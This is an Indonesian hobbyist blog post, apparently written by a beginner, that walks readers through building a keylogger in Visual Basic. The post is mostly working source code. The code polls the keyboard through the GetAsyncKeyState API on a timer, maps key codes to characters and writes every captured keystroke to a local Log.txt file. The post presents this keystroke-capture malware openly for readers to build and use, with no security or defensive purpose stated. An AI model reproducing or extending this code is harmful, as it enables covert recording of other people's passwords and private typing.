Cara Membuat Program Keylogger Sendiri (via VB)

Hai agan" mungkin aplikasi keylogger sudah amat lumprah dan anda pastinya udah tahu bahkan udah punya aplikasi ini,... tapi kalo anda yang buat sendiri,..??? mungkin nanti hasilnya kurang maksimal tapi tetusaja anda akan mendapatkan kepuasan tersendiri,.. Ok ngk usah lama" gw ngomong mari langsung kita bwat aja :



1. tentunya siapkan program visual basic (vb)
2. masuk pada program vb
3. klick file - new file
4. ubah nama file dengan nama prjMain
5. kemudian pada codingnya masukkanlah :
      
     general - deklaration
Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type aArry
    kode As Integer
    bawah As String
    atas As String
End Type

Private Arry(1 To 255) As aArry
Private IdxArry As Integer
Private FileName As String

     general - ApplyCharacter
Private Sub ApplyCharacter(kode As Integer, atas As String, bawah As String)
    IdxArry = IdxArry + 1
    Arry(IdxArry).kode = kode
    Arry(IdxArry).atas = atas
    Arry(IdxArry).bawah = bawah
End Sub

     general - SetCharacter
Private Sub SetCharacter()
    Dim i As Integer
    For i = 65 To 90
        ApplyCharacter i, Chr(i), Chr(i + 32)
    Next i
    ApplyCharacter 48, ")", "0"
    ApplyCharacter 49, "!", "1"
    ApplyCharacter 50, "@", "2"
    ApplyCharacter 51, "#", "3"
    ApplyCharacter 52, "$", "4"
    ApplyCharacter 53, "%", "5"
    ApplyCharacter 54, "^", "6"
    ApplyCharacter 55, "&", "7"
    ApplyCharacter 56, "*", "8"
    ApplyCharacter 57, "(", "9"
    ApplyCharacter &H60, "", "0"
    ApplyCharacter &H61, "", "1"
    ApplyCharacter &H62, "", "2"
    ApplyCharacter &H63, "", "3"
    ApplyCharacter &H64, "", "4"
    ApplyCharacter &H65, "", "5"
    ApplyCharacter &H66, "", "6"
    ApplyCharacter &H67, "", "7"
    ApplyCharacter &H68, "", "8"
    ApplyCharacter &H69, "", "9"
    ApplyCharacter Asc(" "), " ", " "
   
End Sub

     form - Load
Private Sub Form_Load()
    FileName = "\Log.txt"
    SetCharacter
End Sub

     general - CreateLog
Private Sub CreateLog(Isi As String)
    Dim Data As String
    Dim FileHandler As Long
   
    If (Dir(App.Path & FileName) <> "") Then
        FileHandler = FreeFile
        Open App.Path & FileName For Input As #FileHandler
            Data = Input(LOF(FileHandler) - 2, #FileHandler)
        Close #FileHandler
    End If
   
    FileHandler = FreeFile
    Open App.Path & FileName For Output As #FileHandler
        Print #FileHandler, Data & Isi
    Close #FileHandler
End Sub

     Timer1 - Timer
Private Sub Timer1_Timer()
    Dim i As Integer
    Dim a, b As Integer
    For i = LBound(Arry) To UBound(Arry)
        a = GetAsyncKeyState(Arry(i).kode)
        b = GetAsyncKeyState(16)
        If (a = -32767) Then
            If (b = -32768) Then
                CreateLog Arry(i).atas
            Else
                CreateLog Arry(i).bawah
            End If
            Exit For
        End If
    Next
End Sub



sekian dulu gan postingnya atas sgala kekurangannya saya minta maaf karna saya juga baru blajar vb,.. dan ini juga baru belajar bikin blog
bagi yang blum mudeng langsung aja ke sini

# orang yang berhenti belajar akan menjadi pemilik masa lalu dan orang yang masih belajar akan menjadi pemilik masa depan